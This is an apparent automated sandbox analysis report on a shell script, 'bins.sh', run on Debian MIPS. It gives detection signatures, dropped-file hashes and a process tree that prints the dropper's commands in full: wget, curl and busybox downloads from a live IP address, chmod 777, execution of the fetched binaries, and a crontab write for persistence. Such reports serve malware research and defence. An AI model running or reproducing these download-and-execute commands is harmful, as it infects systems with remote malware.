Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06/11/2024, 04:30

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-e4519stpbs
  • SHA256 f5f80b2d8a257d32315d02d3c255fb0e4202f76e65570904e0493ecc2407b296
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1638) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://87.120.84.230/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • File and Directory Permissions Modification
          PID:755
        • /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          ./coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
          • Executes dropped EXE
          PID:757
        • /bin/rm
          rm coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
          2⤵
            PID:760
          • /usr/bin/wget
            wget http://87.120.84.230/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Writes file to tmp directory
            PID:761
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:773
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Writes file to tmp directory
            PID:791
          • /bin/chmod
            chmod 777 AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • File and Directory Permissions Modification
            PID:792
          • /tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            ./AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
            • Executes dropped EXE
            PID:793
          • /bin/rm
            rm AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
            2⤵
              PID:795
            • /usr/bin/wget
              wget http://87.120.84.230/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Writes file to tmp directory
              PID:796
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Writes file to tmp directory
              PID:797
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Writes file to tmp directory
              PID:810
            • /bin/chmod
              chmod 777 lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • File and Directory Permissions Modification
              PID:815
            • /tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              ./lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
              • Executes dropped EXE
              PID:817
            • /bin/rm
              rm lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
              2⤵
                PID:820
              • /usr/bin/wget
                wget http://87.120.84.230/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                2⤵
                • Writes file to tmp directory
                PID:821
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                2⤵
                • Writes file to tmp directory
                PID:830
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                2⤵
                • Writes file to tmp directory
                PID:835
              • /bin/chmod
                chmod 777 WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                2⤵
                • File and Directory Permissions Modification
                PID:836
              • /tmp/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                ./WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                2⤵
                • Executes dropped EXE
                PID:837
              • /bin/rm
                rm WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                2⤵
                  PID:839
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  2⤵
                  • Writes file to tmp directory
                  PID:840
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /bin/chmod
                  chmod 777 CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:843
                • /tmp/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  ./CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  2⤵
                  • Executes dropped EXE
                  PID:844
                • /bin/rm
                  rm CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                  2⤵
                    PID:846
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    2⤵
                    • Writes file to tmp directory
                    PID:847
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:851
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /bin/chmod
                    chmod 777 kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    2⤵
                    • File and Directory Permissions Modification
                    PID:853
                  • /tmp/kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    ./kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    2⤵
                    • Executes dropped EXE
                    PID:854
                  • /bin/rm
                    rm kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                    2⤵
                      PID:856
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                      2⤵
                      • Writes file to tmp directory
                      PID:857
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/chmod
                      chmod 777 jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                      2⤵
                      • File and Directory Permissions Modification
                      PID:860
                    • /tmp/jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                      ./jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:861
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:863
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:864
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:865
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:866
                          • /bin/rm
                            rm jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                            2⤵
                              PID:868
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                              2⤵
                                PID:871
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                2⤵
                                  PID:872
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:900
                                • /bin/chmod
                                  chmod 777 D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:954
                                • /tmp/D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                  ./D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                  2⤵
                                  • Executes dropped EXE
                                  PID:955
                                • /bin/rm
                                  rm D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                  2⤵
                                    PID:957
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/ZcLj1fL1HyxO0G1mi1tIyTovdIcmuKN7yy
                                    2⤵
                                      PID:958
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/ZcLj1fL1HyxO0G1mi1tIyTovdIcmuKN7yy
                                      2⤵
                                        PID:959

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK

                                          • Path /tmp/AqNW3aYXxzngZaQujOqYKv7vkRrmfy15NK
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP

                                          CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ

                                          • Path /tmp/CjAiSaa85MxxOVUVFqTqqtMdpIZRKK0GxQ
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS

                                          • Path /tmp/D5I3vMgHP4ZbVf30zlRNDexziZS0QpuFfS
                                          • Size 111KB
                                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                          • MD5 SHA1 SHA512 SSDEEP

                                          WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl

                                          • Path /tmp/WWgbATZG9bQfrGYWwu0n5jyrinIapCO5Zl
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP

                                          coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP

                                          • Path /tmp/coG34xmMP1DNlLrJ6KJQ9PwUWoZNdOXWnP
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR

                                          • Path /tmp/jEDcAOghgEnHFBdZLTc7PZia4ukp6hK1hR
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          kak26PkzfveROsNdzKP3KAfLebstJkZU4W

                                          • Path /tmp/kak26PkzfveROsNdzKP3KAfLebstJkZU4W
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg

                                          • Path /tmp/lLY3RO2INNh7SaAd0NMQWUPdkkPIrE1yEg
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.DLPoUM

                                          • Path /var/spool/cron/crontabs/tmp.DLPoUM
                                          • Size 210B
                                          • SHA256 884c90c63b9e7aa7fc840079572d8e69566b2182e4753a470e1f662d8ba57344
                                          • MD5 SHA1 SHA512